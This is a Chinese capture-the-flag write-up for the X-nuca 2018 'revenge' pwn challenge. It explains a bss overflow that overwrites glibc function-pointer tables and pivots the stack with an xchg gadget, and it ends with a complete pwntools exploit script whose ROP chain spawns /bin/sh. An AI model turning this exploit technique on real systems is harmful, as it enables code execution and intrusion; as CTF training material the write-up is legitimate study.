X-nuca_2018_revenge(控制程序流程的新姿势+多字节的xchg指令会清零寄存器高位)

X-nuca_2018_revenge(多字节的xchg指令会清零寄存器高位)

首先,检查一下程序的保护机制

X-nuca_2018_revenge(控制程序流程的新姿势+多字节的xchg指令会清零寄存器高位)_第1张图片

然后,我们用IDA分析一下,bss上存在无限溢出

X-nuca_2018_revenge(控制程序流程的新姿势+多字节的xchg指令会清零寄存器高位)_第2张图片

由于该程序是静态编译,我们可以覆盖到下方某些函数指针,我们可以将__printf_arginfo_table虚表指针覆盖,指向我们可控的地方。

X-nuca_2018_revenge(控制程序流程的新姿势+多字节的xchg指令会清零寄存器高位)_第3张图片

这样printf调用时,就调用相应的函数,但是rdi、rsi、rsp这些不可控

X-nuca_2018_revenge(控制程序流程的新姿势+多字节的xchg指令会清零寄存器高位)_第4张图片

这时有一个巧妙的方法,我们让程序执行到

000000000046B9A8 mov     rbx, cs:_dl_scope_free_list此处

X-nuca_2018_revenge(控制程序流程的新姿势+多字节的xchg指令会清零寄存器高位)_第5张图片

正好这里用到的两个变量,我们也能够溢出覆盖到,我们看到,rax我们也可控,因此,我们只需再找一个gadget,xchg eax,esp,然后将_dl_wait_lookup_done设置为该gadget的地址,即可完成栈迁移,其中xchg会清空esp的高4字节,经过试验,发现除了单字节的xchg外,像双字节、四字节的xchg,都会清空高位。

X-nuca_2018_revenge(控制程序流程的新姿势+多字节的xchg指令会清零寄存器高位)_第6张图片

#coding:utf8
from pwn import *

sh = process('./X-nuca_2018_revenge')

#sh = remote('node3.buuoj.cn',26563)
#xchg eax, esp ; ret
xchg_eax_esp = 0x00000000004a1a79
bss = 0x00000000006B73E0
'''
.text:000000000046B9A8                 mov     rbx, cs:_dl_scope_free_list
.text:000000000046B9AF                 test    rbx, rbx
.text:000000000046B9B2                 jz      short loc_46B9F8
.text:000000000046B9B4                 mov     rax, [rbx]
.text:000000000046B9B7                 cmp     rax, 31h
.text:000000000046B9BB                 jbe     short loc_46BA30
.text:000000000046B9BD                 call    cs:_dl_wait_lookup_done
.......................
......................
.text:000000000046B99B                 add     rsp, 8
.text:000000000046B99F                 mov     eax, ebx
.text:000000000046B9A1                 pop     rbx
.text:000000000046B9A2                 pop     rbp
.text:000000000046B9A3                 retn
'''
_dl_scope_free_xx = 0x000000000046B9A8
pop_rdi = 0x0000000000400525
pop_rsi = 0x00000000004059d6
pop_rdx = 0x0000000000435435
pop_rax = 0x000000000043364c
syscall = 0x0000000000400368

payload = p64(bss + 0x10)
payload += '/bin/sh\x00'
#rop
payload += p64(pop_rdi) + p64(bss + 0x8) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3B) + p64(syscall)
payload = payload.ljust(0x398,'a') + p64(_dl_scope_free_xx)
payload = payload.ljust(0x4E0,'a')
payload += p64(xchg_eax_esp) #_dl_wait_lookup_done
payload = payload.ljust(0x530,'a')
payload += p64(bss) #_dl_scope_free_list
payload = payload.ljust(0x650,'a')
payload += '\x00'*0x78
payload += p64(bss) #__printf_arginfo_table
sh.sendline(payload)

sh.interactive()

 

你可能感兴趣的:(pwn,二进制漏洞,CTF)